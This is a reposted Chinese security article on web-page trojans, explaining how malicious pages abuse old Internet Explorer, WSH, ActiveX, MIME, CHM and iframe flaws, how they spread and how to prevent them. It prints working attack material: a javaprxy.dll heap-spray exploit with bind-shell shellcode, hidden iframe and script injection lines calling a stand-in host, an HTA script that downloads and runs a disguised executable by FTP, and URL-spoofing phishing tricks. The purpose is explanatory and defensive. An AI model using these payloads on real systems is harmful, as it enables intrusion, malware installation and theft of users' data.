目前的網頁***都是利用腳本語言、ActiveX、WSH等來實現對客戶端計算機的遠程操作,如改寫注冊表,添加、刪除、更改文件夾等操作。網頁病毒可以以此來達到傳播的目的。 1.利用WSH(Windows Scripting Host Object Reference)等系統控件 WSH,是“Windows Scripting Host”的簡稱,可以直譯為“Windows 腳本宿主”。在Windows系統中會默認安裝,它是內嵌于 Windows 操作系統中的腳本語言工作環境。 Windows Scripting Host 這個概念最早出現于 Windows 98 操作系統。微軟在研發 Windows 98 時,為了實現多類腳本文件在 Windows 界面或 Dos 命令提示符下的直接運行,就在系統內植入了一個基于 32 位 Windows 平臺、并獨立于語言的腳本運行環境,并將其命名為“Windows Scripting Host”。WSH 架構于 ActiveX 之上,通過充當 ActiveX 的腳本引擎控制器,WSH 為 Windows 用戶充分利用威力強大的腳本指令語言掃清了障礙。 WSH也有它的不足之處,任何事物都有兩面性,WSH 也不例外。WSH 的優點在于它使用戶可以充分利用腳本來實現計算機工作的自動化;但也正是它的這一特點,使系統存在了安全隱患。計算機病毒制造者用腳本語言來編制病毒,并 利用 WSH 的支持功能,讓這些隱藏著病毒的腳本在網絡中廣為傳播。借助WSH的缺陷,通過JAVAScript,VBScript,ActiveX等網頁腳本語言, 可以改動受影響系統的注冊表,利用服務器端腳本程序如:ASP,PHP等來記錄訪問網頁者的相關信息,瀏覽之后,系統目錄被完全共享;IP地址、訪問時 間、操作系統名稱會被網頁***所記錄,造成敏感信息的泄露。 2.Microsoft Internet Explorer等瀏覽器存在漏洞 3.腳本語言 用JAVA編制的腳本語言主要是Java Applet和Java Script。Applet是Java編寫的小應用程序,不能獨立運行,需要嵌入HTML文件,遵循標準,在支持Java的瀏覽器(如Microsoft Internet Explorer) 上運行,是Java一個重要的應用分支,它改變了傳統網頁呆板的界面,在WWW網頁(Home Page / Pages)設計中加入了動畫、影像、音樂等元素。 JavaScript是一種基于對象(Object)和事件驅動(Event Driven)并具有安全性能的腳本語言。使用它的目的是與HTML超文本標記語言、與Web客戶交互作用。從而可以開發客戶端的應用程序等。它是通過嵌 入或文件引用在標準的HTML語言中實現的。它的出現彌補了HTML語言的缺陷,它是Java與HTML折衷的選擇,具有基于對象、簡單、安全、動態、跨 平臺性等特性。 ActiveX是Microsoft提出的一組使用COM(Component Object Model,部件對象模型)使得軟件部件在網絡環境中進行交互的技術。它與具體的編程語言無關。作為針對Internet應用開發的技術,ActiveX 被廣泛應用于WEB服務器以及客戶端的各個方面。同時,ActiveX技術也被用于方便地創建普通的桌面應用程序。在Applet中可以使用 ActiveX技術,如直接嵌入ActiveX控制,或者以ActiveX技術為橋梁,將其它開發商提供的多種語言的程序對象集成到Java中。與 Java的字節碼技術相比,ActiveX提供了“代碼簽名”(Code Signing)技術保證其安全性。 造成網頁病毒傳播和形成的主要原因,是因為Windows操作系統以及Microsoft Internet Explorer等瀏覽器存在漏洞。二、網頁***的***原理 網頁***實際上是一個HTML網頁,與其它網頁不同的是該網頁是***精心制作的,用戶一旦訪問了該網頁就會中***。為什么說是***精心制作的呢?因 為嵌入在這個網頁中的腳本恰如其分地利用了IE瀏覽器的漏洞,讓IE在后臺自動下載***放置在網絡上的***并運行(安裝)這個***,也就是說,這個網頁能 下載***到本地并運行(安裝)下載到本地電腦上的***,整個過程都在后臺運行,用戶一旦打開這個網頁,下載過程和運行(安裝)過程就自動開始。
打 開一個網頁,IE瀏覽器不會自動下載程序和運行程序,這是因為,為了安全,IE瀏覽器是禁止自動下載程序特別是運行程序的,但是,IE瀏覽器存在著一些已 知和未知的漏洞,網頁***就是利用這些漏洞獲得權限來下載程序和運行程序的。下面列舉一些IE瀏覽器等存在的漏洞來分別說明為什么利用網頁***可以下載程 序和運行程序。 1.下載可執行文件. index里有一個代碼漏洞<LINK href="ray.exe" rel=stylesheet type=text/css>,IE會把可執行文件誤認為CSS樣式表而下載到IE的臨時文件目錄. 也可以利用<SCRIPT LANGUAGE="icyfoxlovelace" src="[url]http://test.net/1.exe[/url]"></SCRIPT>這段代碼,把這段代碼插入到網頁源代碼的</BODY>…</BODY>之間,運行后就會發現在IE的臨時目錄Temporary Internet Files下,已經下載了1.exe這個病毒文件。 2.自動運行程序 <SCRIPT LANGUAGE="javascript" type="text/javascript"> var shell=new ActiveXObject("shell.application"); shell.namespace("c:\\Windows\\").items().item("Notepad.exe").invokeverb(); </SCRIPT> 把這段代碼插入到網頁源代碼的</BODY>…</BODY>之間,然后用IE打開該網頁,這段代碼可以在IE中自動打開記事本。 這段代碼使用了shell.application控件,該控件能使網頁獲得執行權限,替換代碼中的“Notepad.exe”(記事本)程序,就可以用它自動運行本地電腦上的任意程序。 通過以上的例子可以看出,利用IE的漏洞,在網頁中插入相關的代碼,IE完全可以自動下載和運行程序。三、可能被網頁***利用的漏洞 1.利用URL格式漏洞 此類網頁***是利用URL格式漏洞來欺騙用戶。構造一個看似JPG格式的文件誘惑用戶下載,但事實上用戶下載的卻是一個EXE文件。 此類***,具有相當的隱蔽性,利用URL欺騙的方法有很多種,比如起個具有誘惑性的網站名稱或使用易混的字母數字掉包進行銀行網絡釣魚,還有漏洞百出的“%30%50”之類的Unicode編碼等等,現在列舉比較常見的幾種方法:
(1).@標志過濾用戶名的解析 本來@標志是E-mail地址的用戶名與主機的分隔符,但在URL中同樣適用,而且功能如出一轍。HTTP(超文本傳輸協議)規定了URL的完整格 式是“[url]Http://Name[/url]:Password@IP地址或主機名”,其中的“IP地址或主機名”是必填項。@標志與其前面的“Name: Password”,意為“用戶名:密碼”,屬于可選項。也就是說,在URL中真正起解析作用的網址是從@標志后面開始的,這就是欺騙原理。 比如用戶訪問“[url]Http://www.sina.com[/url]@[url]www.Trojan.com.cn/HuiGeZi_Server.exe[/url]”, 從表面上看,這是新浪網提供的一個鏈接,用戶會認為這是一個無害的鏈接,而點擊,而實際上 “[url]www.sina.com[/url]”只是個寫成新浪網址形式的用戶名(此處的密碼為空),因為后面有@標志。而真正鏈接的網址卻是 “[url]www.Trojan.com.cn/HuiGeZi_Server.exe[/url]”????????? 也就是說這個發來的URL地址其實完全等同于“[url]Http://www[/url] [url]www.Trojan.com.cn/HuiGeZi_Server.exe[/url],而與前面的用戶名毫無關系,只是迷惑性可就大大提高了。即使沒有這個用戶名,也完全不影響瀏覽器對URL的解析。 (2).十進制的IP地址 常見的IP地址包括四個字節,一般表示形式為“xxx.xxx.xxx.xxx”(x表示一個十進制數碼),例如“61.135.132.12”。 因為數字IP地址較長,且過于抽象、難以記憶,所以采用域名服務DNS來與之對應。在瀏覽器地址欄中輸入“[url]Http://www.sohu.com[/url]”與 “[url]Http://61.135.132.12[/url]”的結果完全一樣,都是訪問搜狐網站,因為61.135.132.12就是搜狐域名[url]www.sohu.com[/url]的IP地址。不過,用[url]Http://1032291340[/url]訪 問的話,仍然可以打開搜狐網站,這是因為,四位點分十進制形式的IP地址“61.135.132.12”代表一組32位二進制數碼,如果合在一起再轉換成 一個十進制數的話,答案就是1032291340。轉換方法,就是數制的按權展開:12×2560+132×2561+135×2562+61×2563 =12+33792+8847360+1023410176=1032291340(基數為256,即28)。在上文的例子中提到了 “[url]www.Trojan.com.cn/HuiGeZi_Server.exe[/url]”。這種字母域名有時還能被用戶識破,而在把它對應的IP地址(假設為 “61.135.132.13”)換算成一個十進制數后,結果是1032291341,再結合@標志過濾用戶的解析,就會變成[url]Http://www.sina.com@1032291341[/url]這樣的地址,這樣就更加隱蔽了。 (3).虛假的網址,網絡釣魚者注冊一個域名和真實網站域名十分相似的網址,其用戶界面也和真實網站頁面非常相似,然后不URL提供給用戶,那么一 般的用戶被引導到這樣的虛擬網址上是難以察覺的,***者也就可以利用該網頁來誘導用戶輸入自己的個人身份信息,達到竊取的目的,例如真實網站域名是[url]www.lovebank.xxx[/url],偽造網站域名是[url]www.1ovebank.xxx[/url],一個是小寫的"L",一個是數字"1",域名服務器將解析到完全不同的IP地址上,但用戶很難看出來。再如真實網站的域名是[url]www.xxx.xxx.cn[/url],而虛假網站使用域名[url]www.xxx.xxx[/url],很多人也無法判斷 (4).更隱蔽的方法,是根據超文本標記語言的規則,可以對文字制作超鏈接,這樣就使網絡釣魚者有機可乘。例如文件源代碼可以寫成:"<A HREF=http://www.xxxbank.com.cn>[url]http://www.xxbank.com.cn</A>[/url]"。這 樣,屏幕上顯示的是xxxbank的網址,而實際卻鏈接到了xxbank的虛假網站。 (5).采用偽裝手段??梢栽跒g覽器打開虛假網站的時候,彈出一個很隱蔽的小圖像,正好覆蓋在瀏覽器顯示網址的地方,該小圖像顯示被仿冒的網站的真實域名,而瀏覽器真正訪問的地址被掩蓋在下面。 (6).虛假的彈出窗口。一些虛假網站會將用戶轉移到真實的網址,但是轉移之前制造假冒的彈出窗口,提示用戶進行個人登陸的操作,很多用戶會誤認為這些彈出窗口是網站的一部分而進一步按照提示操作,直到透露出自己的個人身份信息。 (7).可以利用瀏覽器漏洞竊取個人信息,如IE就曾暴露出一個漏洞,該漏洞使***者可以在垃圾郵件中構造一種數據,用戶點擊后便可使IE瀏覽器顯 示的網址與實際訪問的網址不同。采用這種方式進行***,欺騙性更好,可以通過向用戶發送包含URL的垃圾郵件的方式,誘騙用戶點擊,用戶如果不檢查郵件的 原始代碼,根本無法知道自己被瀏覽器欺騙了。 (8).***程序可以修改用戶計算機中的HOSTS文件,將特定域名的IP地址設置成自己的虛假網站的地址,用戶訪問這些網站時,機器會從 HOSTS文件中獲得對應的IP。除了上面的方法外,更為隱蔽和目前常用的***手法是,***者首先攻破一個正常的網站,然后修改網站的代碼,通過跳轉語句 或嵌入JS腳本的手段,來改造一個掛馬的網站,這樣當用戶點擊了包含正常網站的URL時,是不會有戒備心理的,更容易造成更大的損失。 2.通過ActiveX控件制作網頁***。 通過 ActiveX 把普通的軟件轉化為可以在主頁直接執行的軟件的網頁***,此類網頁***對所有的系統和IE版本都有效,缺點是瀏覽網頁***時會彈出對話框,詢問是否安裝此 插件。病毒作者通常是偽造微軟、新浪、Google等知名公司的簽名,偽裝成它們的插件來迷惑用戶。 3.利用WSH的缺陷 利用WSH修改注冊表,使IE安全設置中“沒有標記為安全的的activex控件和插件”的默認設置改為啟用,然后再利用一些可以在本地運行EXE程序的網頁代碼來運行病毒。它的危害在于,可以利用IE的安全漏洞提升權限達到本地運行任意程序的后果。4.利用MIME漏洞制做的網頁***。 它利用了Microsoft Internet Explorer中MIME/BASE64處理的漏洞,MIME(Multipurpose Internet Mail Extentions),一般譯作“多用途的網絡郵件擴充協議”。顧名思義,它可以傳送多媒體文件,在一封電子郵件中附加各種格式文件一起送出?,F在它已 經演化成一種指定文件類型(Internet的任何形式的消息:E-mail,Usenet新聞和Web)的通用方法。在使用CGI程序時你可能接觸過 MIME類型,其中有一行叫作Content-type的語句,它用來指明傳遞的就是MIME類型的文件(如text/html或 text/plain)。MIME在處理不正常的MIME類型時存在一個問題,***者可以創建一個Html格式的E-mail,該E-mail的附件為可 執行文件,通過修改MIME頭,使IE不能正確處理這個MIME所指定的可執行文件附件。IE處理附件的方式:一般情況下如果附件是文本文件,IE會讀取 文件,如果是VIDEO CLIP,IE會查看文件;如果附件是圖形文件,IE就會顯示文件;如果附件是一個EXE文件呢?IE會提示用戶是否執行,但當***者更改MIME類型 后,IE就不再提示用戶是否執行而直接運行該附件。從而使***者加在附件中的程序,***命令能夠按照***者設想的情況進行。在Win9X\ME以及 WinNT4和Win2000下的Internet Explorer 5.0、5.01、5.5均存在該漏洞,微軟郵件客戶端軟件Outlook Express也存在此漏洞。 5.利用系統的圖片處理漏洞 這是種只要瀏覽圖片就可以傳播的網頁***。這種***是把一個EXE文件偽裝成一個BMP或JPG圖片文件,在網頁中添加如 <img src="love.bmp" >的代碼來欺騙IE自動下載,然后利用網頁中的Java Script腳本查找客戶端的Internet臨時文件夾,尋找下載的BMP格式文件,把它拷貝到TEMP目錄.再利用腳本把找到的BMP文件用 DEBUG還原成EXE,并添加到注冊表啟動項中,達到隨系統的目的。 6.HTML文件*** 首先利用工具把EXE格式的文件轉化成HTML文件的***,這樣.EXE文件看起來就變成了Htm文件,欺騙訪問者訪問假冒的Htm文件從而達到運行病毒的目的。它和BMP網頁***運用了同一個原理,也會利用JAVASCRIPT腳本和debug程序來轉換回EXE文件。 7.Hta*** Hta網頁***,是利用Internet Explorer Object Data(MS03-032)漏洞制作的網頁***,此漏洞是因為Internet Explorer在處理對象"Object"標記時沒有正確處理要被裝載的文件參數。("Object"標記用于插入ActiveX組件等對象到HTML 頁面。"Object"標記的"Type"屬性用于設置或獲取對象的MIME類型。通常合法MIME類型包括"plain/text"或 "application/hta", "audio/x-mpeg"等。)Internet Explorer指定遠程對象數據位置的參數沒有充分檢查被裝載的文件屬性,***者可以構建惡意頁面,誘使用戶訪問來運行惡意頁面指定的程序 。 8.利用CHM格式漏洞。 這種網頁***首先創建一個Htm文件,包含如下代碼:<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111123'? wight =0 height =0 CODEBASE='x.exe'>然后用電子書制作工具將包含名為x.exe的病毒文件該文件的文件夾編譯成CHM文檔。新建一個包含如下代碼的 Htm文件。 <title>hello</title>
<textarea id="code" style="display:none;" >
<object data="ms-its:mhtml:file://C:\foo.mht!${lhxy}/x.chm::/x.htm" type="text/x-scriptlet"></object>
</textarea>?
<script language="javascript">?
document.write(code.value.replace(/\${lhxy}/g,location.href.substring(0,location.href.indexOf('mm.htm'))));?
</script> 就達到了調用掛病毒的目的。 9.IFRAME溢出 IE IFRAME漏洞利用了MS05020中提到的IE溢出漏洞, IE在處理iframe標簽的時候,會調用一個叫作SHDOCVW!CBaseBrowser2::SetFramName函數來進行unicode copy(wcscpy),在拷貝iframe的name時,沒有進行邊界檢查,構造惡意的代碼就會導致IE的溢出。IE產生溢出錯誤后,可能會被***利 用打開電腦中某個端口。當微軟的IE窗口打開另一個窗口時,如果子窗口是另一個域或安全區的話,安全檢查應當阻止父窗口訪問子窗口。但事實并非如此,父窗 口可以訪問子窗口文檔的frame,這可能導致父窗口無論是域或安全區都能在子窗口中設置Frame或IFrame的URL。這會帶來嚴重的安全問題,通 過設置URL指向Javascript協議,父窗口能在子域環境下運行腳本代碼,包括任意的惡意代碼。***者也能在“我的電腦”區域中運行腳本代碼。這更 會造成嚴重的后果。 10. Microsoft Internet Explorer Javaprxy.DLL COM對象堆溢出漏洞 Microsoft Internet Explorer存在一個堆溢出漏洞。當一個惡意的網頁實例化'javaprxy.dll' COM對象時,可能導致堆溢出,成功利用該漏洞能夠在客戶端上下載執行任意代碼。其測試代碼如下: <!--
注:這個漏洞利用代碼是用PERL腳本生成的可用HTM網頁文件,以網頁形式保存,打開后如果執行成功,將會監聽28876端口 -->
<html><body>
<SCRIPT language="javascript">
shellcode = unescape("%u4343"+"%u4343"+"%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");
bigblock = unescape("%u0D0D%u0D0D");
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<750;i++) memory[i] = block + shellcode;
</SCRIPT>
<object classid="CLSID:03D9F3F2-B0E3-11D2-B081-006008039BF0"></object>
Microsoft Internet Explorer javaprxy.dll COM Object Remote Exploit
四、網頁***的基本用法 理解了網頁******的原理,以及常用的漏洞,就可以寫出相關的利用代碼。制作出網頁***,然后就是傳播網頁***,目前網頁***的主要傳播途徑是: 1.通過IM及時聊天軟件傳播 將包含網頁***的地址(網址)通過QQ等聊天軟件在網絡中分發,一旦有用戶訪問了該網頁,該網頁就會在系統中自動下載并運行放置在網絡上的***。 2.***知名網站,獲得Webshell權限后,在網站中填加惡意代碼,如:
(1)iframe
<iframe src=http://www.xxx.com/muma.html width=0 height=0></iframe> 注:<iframe>也叫浮動幀標簽,它可以把一個HTML網頁嵌入到另一個網頁里實現“畫中畫”的效果,被嵌入的網頁可以控制寬、高 以及邊框大小和是否出現滾動條等。在上述代碼中,因為把寬(width)、高(height)、邊框(frameborder)都設置為了“0”,所以, 上述代碼插入到門戶網站的首頁后,網站的首頁不會發生變化,但是,由于嵌入的網頁實際上已經打開了,所以網頁上的下載***和運行***的腳本還是會隨著門戶 首頁的打開而執行的。 (2)js掛馬
<script src=http://www.xxx.com/muma.js></script> (3)js變形加密
<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
其中muma.txt可改成任意后綴的。 (4)嵌入
top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="[url]http://www.xxx.com/muma.htm/[/url]"></iframe>'; 利用在知名門戶網站,填加惡意腳本的***行為很多,例如,安天實驗室在06年8月份就發現了針對KFC肯德基,雪花啤酒,邁拓硬盤等知名網站的***行為。所采用的都是此種方式。 3.利用美麗的網頁名稱及內容,誘惑用戶訪問。 很多惡意網頁或是站點的制作者,對瀏覽者的心理進行了分析,對域名的選擇和利用非常精明。很多網民對一些×××信息比較感興趣,成為了他們利用的渠道。他們會構建名[url]www.love.com[/url],或是[url]http://bangbus.year.net[/url]等具有誘惑性的名稱誘惑用戶點擊。 4.利用電子郵件等傳播。 ***者,利用電子郵件群發工具,發送包含誘惑性信息的主題郵件,誘惑用戶點擊其中包含的網頁。五、目前常用的網頁***制作方式 1.Javascript.Exception.Exploit
利用JS+WSH的完美結合,來制作惡意網頁。 2.錯誤的MIME Multipurpose Internet Mail Extentions,多用途的網際郵件擴充協議頭.幾乎是現在網頁***流行利用的基本趨勢,這個漏洞在IE5.0到IE6.0版本中都有。 3.EXE to .BMP + Javascritp.Exception.Exploit用虛假的BMP文件誘惑用戶運行。 4.iframe? 漏洞的利用 當微軟的IE窗口打開另一個窗口時,如果子窗口是另一個域或安全區的話,安全檢查應當阻止父窗口訪問子窗口。但事實并非如此,父窗口可以訪問子窗口 文檔的frame,這可能導致父窗口無論是域或安全區都能在子窗口中設置Frame或IFrame的URL。這會帶來嚴重的安全問題,通過設置URL指向 javascript協議,父窗口能在子域環境下運行腳本代碼,包括任意的惡意代碼。***者也能在“我的電腦”區域中運行腳本代碼。這更會造成嚴重的后 果。? 5.通過安全認證的CAB,COX 此類方法就是在.CAB文件上做手腳,使證書.SPC和密鑰.PVK合法 原理:IE讀文件時會有文件讀不出,就會去“升級”這樣它會在網頁中指定的位找 .cab 并在系統里寫入個CID讀入.cab里的文件。 方法:.cab是WINDOWS里的壓縮文件, IE里所用的安全文件是用簽名的,CAB也不例外,所做的CAB是經過安全使用證書引入的。也就是說IE認證***,之所以每次都能***,是因為它通過的是IE認證下的安全***。 6.EXE文件的捆綁 現在的網頁***捆綁機幾乎是開始泛濫了,多的數不勝數。再將生成的MHT文件進行加密。六、常用網頁***運行原理的分析 1.Javascript.Exception.Exploit 常用的***代碼:
<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>
Function destroy(){
try
{
//ActiveX initialization 初始化ActiveX,為修改注冊表做準備
a1=document.applets[0];?
//獲取applet運行對象,以下語句指向注冊表中有關IE的表項
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
開始進行破壞
}
}
catch(e)
{}
}
catch(e)
{}
}
function do()
{
//初始化函數,并每隔一秒執行修改程序
setTimeout("destroy()", 1000); //設定運行時間1秒
}
Do() //進行破壞的執行函數指令
這個代碼是JAVAScript編寫,很簡單,但卻可以修改受影響系統的注冊表,釋放垃圾文件,格式化硬盤等。 2.錯誤的MIME Multipurpose Internet Mail Extentions,多用途的網際郵件擴充協議頭
常用的***代碼: <! - - x.eml - - >
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====B===="
--====B====
Content-Type: multipart/alternative;
boundary="====A===="
--====A====
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable
<iframe src=3Dcid:Mud height=3D0 width=3D0></iframe>
--====A====--
--====B====
Content-Type: audio/x-wav;
name="run.exe"
Content-Transfer-Encoding: base64
Content-ID: <Mud>? ---以下省略AAAAA N+1個---
把run.exe 的類型定義為audio/x-wav,這是利用客戶端支持的 MIME(多部分網際郵件擴展,Multipart Internet Mail Extension) 類型的漏洞來完成的。當申明郵件的類型audio/x-wav時,IE存在的一個漏洞會將附件認為是音頻文件自動嘗試打開,,結果導致郵件文件x.eml 中的附件run.exe被執行。在win2000上,即使是用鼠標點擊下載下來的 x.eml,或是拷貝粘貼,都會導致x.eml中的附件被運行。整個程序的運行還是依靠x.eml這個文件來支持。Content-Transfer- Encoding: base64 Content-ID: <Mud> 從中可以看出,由于定義后字符格式為base64,那么一下的代碼全部為加密過的代碼,里面可以是任何執行的命令:
〈script language=vbs〉
On Error Resume Next? 容錯語句,避免程序崩潰
set aa=CreateObject("WScript.Shell")?建立WScript對象
Set fs = CreateObject("Scripting.FileSystemObject")?建立文件系統對象
Set dir1 = fs.GetSpecialFolder(0)?得到Windows路徑
Set dir2 = fs.GetSpecialFolder(1)?得到System路徑
……省略……</script>
之所以有的病毒不能準確的清除全部的病毒體,是因為很多殺毒軟件,病毒監控只殺當時查到的,卻不能處理新建的文件。 3.Iframe? 漏洞的利用 常用***代碼:
(1)
<script language="jscript">
() {
var
oVictim=open("[url]http://url.url.com/url?threadm=vir[/url]","OurVi
ctim","width=100,height=100");
setTimeout(
function () {
oVictim.frames[0].location.href="javascript:alert(document.cooki
e)";
},
7000
);
}
</script> (2)
〈iframe src=run.eml width=0 height=0〉〈/iframe〉
常見的***運用格式,高度和寬度為0的一個框架網頁。 (3)
<object type="text/x-scriptlet" width="0"? height="0" data="test.html"></object>
一個框架引用的新方式,對type="text/x-scriptlet" 的調整后,就可以實現和eml格式文件同樣的效果。 4.Microsoft Internet Explorer瀏覽器彈出窗口Object類型驗證漏洞的利用 常見***代碼:
<object data="run.asp"></object>
----- code cut start for run.asp -----
<HTA:APPLICATION? caption="no" border="none" showInTaskBar="no" windowState="minimize">
<object id=';wsh'; classid=';clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B';></object>
<script language="VBScript">
Dim fs, t
Set fs = CreateObject("Scripting.FileSystemObject") //注冊組件FSO
Set t = fs.CreateTextFile("ftp.txt",True)
t.WriteLine("userdown")
t.WriteLine("username")
t.WriteLine("usepassword")
t.WriteLine("get ie.exe c:window.exe") //FTP下載一個文件,并進行偽裝
t.WriteLine("close")
t.WriteLine("quit")
t.Close
wsh.Run "ftp -n -s:ftp.txt URL.url.com",0,true
wsh.Run "c:window.exe" //下載完畢后就運行
fs.DeleteFile "ftp.txt",true //下載列表文件用完就刪
window.close? //窗口關閉,所有任務結束
</script>
----- code cut end for run.asp -----七、網頁***運行后特征分析 1.系統的默認主頁被更改,并且IE工具欄內的修改功能被屏蔽掉; 2.在系統的桌面上無故出現陌生網站的鏈接,無論怎么刪除,每次開機都依舊會出現,如果單擊鼠標右鍵,出現的工具欄中有也會有大量陌生網站的鏈接; 3.系統桌面及桌面上的圖標被隱藏; 4.注冊表編輯器被鎖定,從而無法修改注冊表; 5.上網之前,系統一切正常,下網之后系統就會出現異常情況,如系統盤丟失、硬盤遭到格式化等; 6.上陌生網站后,出現提示框“您已經被XX病毒***”,之后系統出現異常; 7.登陸站點后,出現一個窗口迅速打開后又消失的現象,系統文件夾內出現異常文件; 8.系統的進程中出現未知進程,而且無法終止,終止后會自動重新出現; 9.系統CPU占用率高; 10.登陸某站點后,殺毒監控軟件報警,并刪除病毒文件,位置在IE的緩沖區。重新啟動計算機后發現IE默認設置被修改。 11.自動彈出廣告; 12.信用卡,QQ帳號丟失等;八、網頁***的預防 1.?避免瀏覽包含不健康內容的網頁; 2.? 由于網頁***是含有害代碼的ActiveX網頁文件,因此在IE設置中將ActiveX插件和控件、Java腳本等全部禁止。
具體 方法是:在IE窗口中點擊"工具→Internet選項,在彈出的對話框中選擇"安全"標簽,再點擊"自定義級別"按鈕,就會彈出"安全設置"對話框,把 其中所有ActiveX插件和控件以及Java相關全部選擇"禁用"即可。不過,這樣在網頁瀏覽過程中可能會造成一些正常使用ActiveX的網站無法瀏 覽。 3.對Windows 2000和WINDOWS XP用戶,還可以通過在服務里,禁用遠程注冊表操作服務"Remote Registry Service",來對付該類網頁。具體方法是:點擊"管理工具→服務→Remote Registry Service(允許遠程注冊表操作)",禁用即可。 4.升級瀏覽器到IE6.0并及時安裝升級補丁。 5.下載微軟最新的Microsoft Windows Script 6. 安裝反病毒軟件以及防火墻,打開網頁監控和腳本監控. 后記: 網頁***,目前的發展方向,是利用操作系統,瀏覽器存在的溢出漏洞,來下載Trojan-Downloader類***,達到傳播病毒的目的。而網頁 ***的傳播方式,目前,主要是******知名網站,在代碼中填加惡意腳本,從而達到,利用知名網站,訪問量高的特點,快速傳播的目的。網頁***本身的危害巨 大,但它帶來的最大影響,是可能傳播惡性的病毒,造成極大的危害。
通過最近的這些病毒分析,現在越來越多的***者采取網頁掛馬,來達到控制更多的 “肉雞”從而達到,靠流量和販賣“肉雞”來達到收入最大話,通過網站釣魚,來捕獲受害人的信用卡帳號以及個人隱私,更有甚者進行非法交易,出賣給一些商業 間諜等,以后的病毒防范和研究工作還將繼續進行下去,任重而道遠。 歡迎大家和我交流,我們一同來打一場反黑反病毒的持久戰,同時在這里我還是要感謝安天實驗室的全體cert組成員,能全力支持我,配合我來更快更好的完成病毒分析工作,也同樣感謝我的兩個助手-----王清,王琪,以及誠信網安的全體成員,謝謝你們對我工作的支持和幫助。
轉載于:https://blog.51cto.com/trustsec/75723
總結
以上是生活随笔為你收集整理的国内资深安全专家详谈网页***的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 器件选型-ARM7,ARM9,ARM11
- 下一篇: 计算指定位数的圆周率